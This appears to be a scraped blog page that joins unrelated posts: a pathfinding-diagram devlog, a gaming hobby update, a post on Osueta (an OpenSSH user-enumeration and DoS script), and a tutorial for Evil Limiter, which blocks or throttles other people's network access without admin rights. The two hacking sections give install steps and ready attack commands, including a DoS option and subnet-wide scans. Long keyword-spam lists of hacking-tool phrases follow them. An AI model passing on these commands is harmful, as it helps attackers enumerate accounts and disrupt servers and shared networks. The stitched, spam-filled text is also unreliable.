Saturday, September 12, 2020

Pathfinding Diagram Improvements, Part 2

In the last post I described improving the diagrams on my Tower Defense page. Once I finished that, I moved on to my other pathfinding pages, starting with the A* page.

inline legend
inline legend

Frontier expansion diagram: I didn't find a good way to put labels on the dynamically generated diagram so I created a static state transition diagram and placed it in the text. I using inline legends, which describe in the text the shapes that I'm going to use the in the diagrams. The above is example showing some frontier nodes, unexplored nodes, and reached nodes. I also used colors that match the colors in the diagrams.

I used the inline legends to describe the state transitions:

state transition
state transition

I think it serves a separate purpose from directly showing labels on the diagram. These are meant to prepare you for the animation, whereas the labels would serve to annotate the animation.

Frontier expansion diagram: I had implemented all the diagram animations to match the code. However early in the explanation, the reader hasn't seen the code yet. The frontier expansion diagram should show the concept of an expanding frontier, not the implementation of it.

I decided to change the slider from number of loop iterations to distance from start. The new animation feels smoother and easier to understand. I posted a comparison of the animations in this tweet.

frontier diagram
frontier diagram

Early exits: I was planning to add a few more examples of what you could do with early exits. This ended up longer than I wanted to include on the A* page, which is already pretty long, so I put it on its own Early Exit page, and linked to it from the A* page.

first 3 of 5 goals
first 3 of 5 goals

All pairs: This was an incomplete page from back when I was writing all the pathfinding pages. The A* page was meant to be one source one destination. The Tower Defense page was many sources one destination, or one source many destinations if run in reverse. And the All Pairs page was meant to be many sources many destinations.

I had implemented the Floyd-Warshall algorithm for all-pairs shortest paths. I had one example problem: find all pairs of paths and then see which tiles are used most often. However, it ran too slowly for this page to work well.

This is one of the struggles I have with making everything interactive. Some algorithms just won't run fast enough to demonstrate effectively.

Since I had good luck with Breadth First Search in mapgen4, with the code running at over 1 million nodes per second, I decided to try it here. Running Breadth First Search hundreds of times was far faster than I expected. The calculation time went from 400ms to 14ms!! It now runs at interactive speeds!

all pairs tile count
all pairs tile count

Now that I'm no longer blocked by the algorithm performance, I want to work on this page. Try the first diagram and let me know if you have ideas for more diagrams to add.

Miscellaneous improvements: Lots of my experiments didn't work out, but I kept a few:

  1. I changed most of the sliders to use a dynamic range. Ideally the slider minimum should be 0 and the maximum should be the last time when something changes on the diagram. The problem is that I implemented the search algorithms to exit early. That means I don't know the last time when something might change. Fortunately for most diagrams I can calculate this in a different way. There's one diagram where I can't easily calculate it without running search twice, once without early exit and once with, so I didn't implement the dynamic range there.
  2. I've long wanted to add faces to my blobs. I've been experimenting with procedurally generated cartoon faces since 2011 or maybe earlier. In my most recent experiment from 2018, I got the mouth working nicely, and I used that in 2019 to regenerate my blob logo. I still haven't worked on the eyes though. I'd like to make blinking attentive eyes. I decided I should put static faces in now instead of waiting until I have everything working.
  3. One reason I generally use SVG instead of Canvas is that many effects are much easier to implement. One of those is cursor feedback. I can update a tiny part of the SVG, and the browser will figure out what to redraw. Sometimes I don't even need an event handler, such as when I use CSS :hover to add a drop shadow. When I rewrote these diagrams into Canvas, I lost the visual feedback, so I went back and implemented a visual feedback system in code instead of in SVG+CSS. It's a lot more work in Canvas but for this page it was worth it.

The new diagram class has been a joy to work with. It has so much easier to work on diagrams than with my old code. The old diagram class was premature abstraction. I wrote it and then wrote the diagrams to fit the abstration. The new diagram class is based on my experience making the diagrams. The abstraction fits the needs of the project.

Abstract Paintings Black Grey Yellow

Continue Reading »

Friday, September 4, 2020

Staying Busy During These Times

The world is crazy right now. COVID, civil injustice and the unrest that follows.

My work has kept me busy, and there've been some household changes with the grandkids going back to their parents for the summer. That impacted the gaming routine.

I did have two successful seminars at the recent Con of Champions for Tabletop Events, as well as running my Heist game and Delve the Deeps game. Both were interesting and everyone seemed to enjoy themselves.

More recently, I've taken to streaming my podcast recordings! I try to do that every two weeks and the next session is this Thursday at 7pm. I'm going to finish up talking about Unearthed Arcana's classes and get into some miscellanea before getting to spells! You can join me here: https://twitch.tv/chgowiz

I've also found myself in a very fun self-improvement project - learning Python by recreating the very first dungeon crawler I ever played. Did you know that there is a graphical/top-down dungeon crawler that predates unix's rouge?

Yep, the program DUNGEON from Cursor Magazine (issue #15) for the Commodore PET. I played this game in 1979 or 1980 and I was hooked.

Right now, the game is very basic, but I'm getting there! You can follow along to some degree on this r/commodore thread on reddit, or see the code as I update it on my github repository here: https://github.com/Chgowiz/PyDungeon/

 

My version is on the left - a completed game of DUNGEON from a PET emulator on the right.

Funny coda, after 40 years, I finally finished the game and won! I collected all the gold. I guess knowing the source and how the game works was a huge help. That's something my 13 year old self would have liked to have known... damn wyverns!

I hope that you all are well, safe and hanging in there.

Sunday, August 30, 2020

Osueta: A Simple Python Script To Exploit The OpenSSH User Enumeration Timing Attack


About Osueta?
   Osueta it's a simple Python 2 script to exploit the OpenSSH User Enumeration Timing Attack, present in OpenSSH versions <= 7.2 and >= 5.*. The script has the ability to make variations of the username employed in the bruteforce attack, and the possibility to establish a DoS condition in the OpenSSH server.

    Read more: OpenSSH User Enumeration Time-Based Attack

   The bug was corrected in OpenSSH version 7.3.

   Authors of Osueta:

Osueta's Installation
   For Linux users, open your Terminal and enter these commands:
   If you're Windows users, follow these steps:
  • Install Python 2.7.x from Python.org first. On Install Python 2.7.x Setup, choose Add python.exe to Path.
  • Download Osueta-master zip file.
  • Then unzip it.
  • Open CMD or PowerShell window at the Osueta folder you have just unzipped and enter these commands:
    pip install python-nmap paramiko IPy
    python osueta.py -h

Advice: Like others offensive tools, the authors disclaims all responsibility in the use of this script.

Osueta help menu:

Osueta's examples:
   A single user enumeration attempt with username variations:
python2 osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes


   A single user enumeration attempt with no user variations a DoS attack:
python2 osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v no --dos yes


   Scanning a C class network with only one user:
python2 osueta.py -H 192.168.1.0/24 -p 22 -U root -v no 


   Scanning a C class network with usernames from a file, delay time 15 seconds and a password of 50000 characters:
python2 osueta.py -H 192.168.1.0/24 -p 22 -L usernames.txt -v yes -d 15 -l 50


More info

  1. Hacker Tools Linux
  2. Android Hack Tools Github
  3. Kik Hack Tools
  4. New Hacker Tools
  5. Hacking Tools Name
  6. Hacker Tools For Ios
  7. Pentest Box Tools Download
  8. Pentest Tools Alternative
  9. Hacker Tools For Mac
  10. What Are Hacking Tools
  11. Hacker Tools Free Download
  12. Hacker Tool Kit
  13. Pentest Tools Online
  14. Hacking App
  15. Pentest Tools Nmap
  16. Hacker Tool Kit
  17. Hacker Tools List
  18. Hack App
  19. Pentest Tools Find Subdomains
  20. Hacking Tools Windows
  21. Pentest Tools Kali Linux
  22. Pentest Reporting Tools
  23. Hacking Tools For Windows
  24. Pentest Tools Open Source
  25. World No 1 Hacker Software
  26. Hack Tools For Mac
  27. Pentest Tools Windows
  28. Hacker Tools 2020
  29. Pentest Box Tools Download
  30. Pentest Box Tools Download
  31. Tools 4 Hack
  32. Hacking Tools Online
  33. Hacker Tools Windows
  34. Bluetooth Hacking Tools Kali
  35. Hack Tools Mac
  36. Hacking App
  37. Github Hacking Tools
  38. Hacking Tools Pc
  39. Hacker Tools Windows
  40. New Hack Tools
  41. Pentest Tools Subdomain
  42. Termux Hacking Tools 2019
  43. Pentest Tools Nmap
  44. Hacks And Tools
  45. Hacker Search Tools
  46. Hacking Tools For Windows 7
  47. Hacker Tools 2019
  48. Nsa Hack Tools Download
  49. Black Hat Hacker Tools
  50. Hack Website Online Tool
  51. Hak5 Tools
  52. Physical Pentest Tools
  53. Hacker Tools List
  54. What Is Hacking Tools
  55. Pentest Tools Port Scanner
  56. Best Pentesting Tools 2018
  57. Hacker Tools For Windows
  58. Hak5 Tools
  59. Easy Hack Tools
  60. Bluetooth Hacking Tools Kali
  61. Pentest Tools For Android
  62. Hacking App
  63. Easy Hack Tools
  64. Pentest Tools Port Scanner
  65. Hacking Tools Windows
  66. Wifi Hacker Tools For Windows
  67. Hacks And Tools
  68. Hacking Tools For Windows
  69. Pentest Tools Windows
  70. Hack Tools Mac
  71. Pentest Tools Windows
  72. Android Hack Tools Github
  73. Hacking Tools For Pc
  74. Hacker Tools Mac
  75. Hacker Tools For Mac
  76. Black Hat Hacker Tools
  77. Pentest Tools Website Vulnerability
  78. Pentest Tools Bluekeep
  79. Hacking Tools Mac

Memcrashed DDoS Exploit | Install | Github

Related news

  1. Hacking Tools Github
  2. Termux Hacking Tools 2019
  3. Pentest Tools
  4. Hacking App
  5. Easy Hack Tools
  6. Hacker Tools Linux
  7. Ethical Hacker Tools
  8. Computer Hacker
  9. Hacker Tools For Ios
  10. Hacking Tools Mac
  11. Hack Rom Tools
  12. Hacker Tools Mac
  13. Hack Tools For Games
  14. Hack Tools Github
  15. Pentest Tools Subdomain
  16. Pentest Tools Free
  17. Hacker Tools 2019
  18. Hackers Toolbox
  19. Pentest Tools Website Vulnerability
  20. Pentest Tools Review
  21. Pentest Tools For Ubuntu
  22. How To Hack
  23. Easy Hack Tools
  24. Physical Pentest Tools
  25. Hack Tools For Ubuntu
  26. Hacker
  27. Hacking Tools Software
  28. Hacker Tools 2020
  29. Android Hack Tools Github
  30. Beginner Hacker Tools
  31. Hacking Tools Usb
  32. Pentest Tools Port Scanner
  33. Computer Hacker
  34. Pentest Tools For Ubuntu
  35. Hacking Tools Pc
  36. Tools Used For Hacking
  37. Hacker Tools 2019
  38. Hacking Tools Github
  39. Tools For Hacker
  40. Hacker Tools Apk
  41. Hacking Tools Usb
  42. Hacking Tools For Kali Linux
  43. New Hacker Tools
  44. Pentest Tools For Windows
  45. Hack And Tools
  46. Blackhat Hacker Tools
  47. Hacking Tools Online
  48. Hacker Tools Windows
  49. Pentest Tools Nmap
  50. World No 1 Hacker Software
  51. Pentest Tools List
  52. Hacker Tools Free Download
  53. Hacking App
  54. How To Hack
  55. Hacker Tools Windows
  56. Pentest Tools Online
  57. Pentest Tools Online
  58. Hacking Tools Hardware
  59. Pentest Tools
  60. Hacking Tools For Mac
  61. Easy Hack Tools
  62. Hack App
  63. Hack Tools For Windows
  64. Pentest Tools Nmap

Evil Limiter: Taking Control Of Your Network Bandwidth







Ever wanted to block someone from the network or limit their bandwidth without having the network admin privileges? Well Evil Limiter has got you covered then.


An amazing tool to help you control your network without having access to the admin panel.

Today I'm gonna show you how to use this interesting tool to take control of your network.


Requirements:

1. A PC or Laptop with Linux OS.
2. A Network Adapter.
3. Access to the Network you want to control.
4. sudo or root access on your Linux OS.

First of all we will download the tool from its github repository:

https://github.com/bitbrute/evillimiter

You can download and extract the zip file from the link above or you can clone evillimiter repository using git like this:


git clone https://github.com/bitbrute/evillimiter 


Now lets install the downloaded tool on our machine

Step 1: Move inside the downloaded github repository

cd evillimiter


Step 2: To install type


sudo python3 setup.py install


wait for the installation to finish (May take some time)


Step 3: To run type


sudo evilimiter


Voila! That's it, you got it up and running on your machine


Now how do you control your network with it, its very easy.

It should detect your network automatically but yeah you can set it up manually as well using the command line argument -i.

After you have selected the right interface to control, you need to scan your network for live hosts. To perform the scan type


scan


you can pass an optional flag to the scan command which is range which will help you to specify the range of ip addresses you want to scan like this


scan --range 192.168.1.1-192.168.1.100





The above command will scan a total of 100 hosts from 192.168.1.1 to 192.168.1.100


Now after you have scanned your network next thing is to list the hosts that have been discovered during the scan for that you type the hosts command like this


hosts





Now you know the hosts on your network and now you should know which host you wanna block or limit based on the mac address of the host. Remember the host id of the host that you want to block or limit bandwidth of and lets do the magic.

to block a host from using the internet we simply specify the block command followed by the host id of the host that we want to block like this

block 1





if instead of blocking the host we just want to limit his internet bandwidth we can do just that by using the limit command followed by the host id and then the bandwidth that we want to allocate to that particular host like this


limit 1 100kbits





Wohooo! yeah its that easy and yes you can do all this without having the network admin role.

Now if you want to show mercy on that poor guy (blocked host), you can set him free by using the free command followed by the host id like this:

free 1





Well isn't administrating your network bandwidth so easy now.

Hope you enjoyed this tutorial.:)

Related posts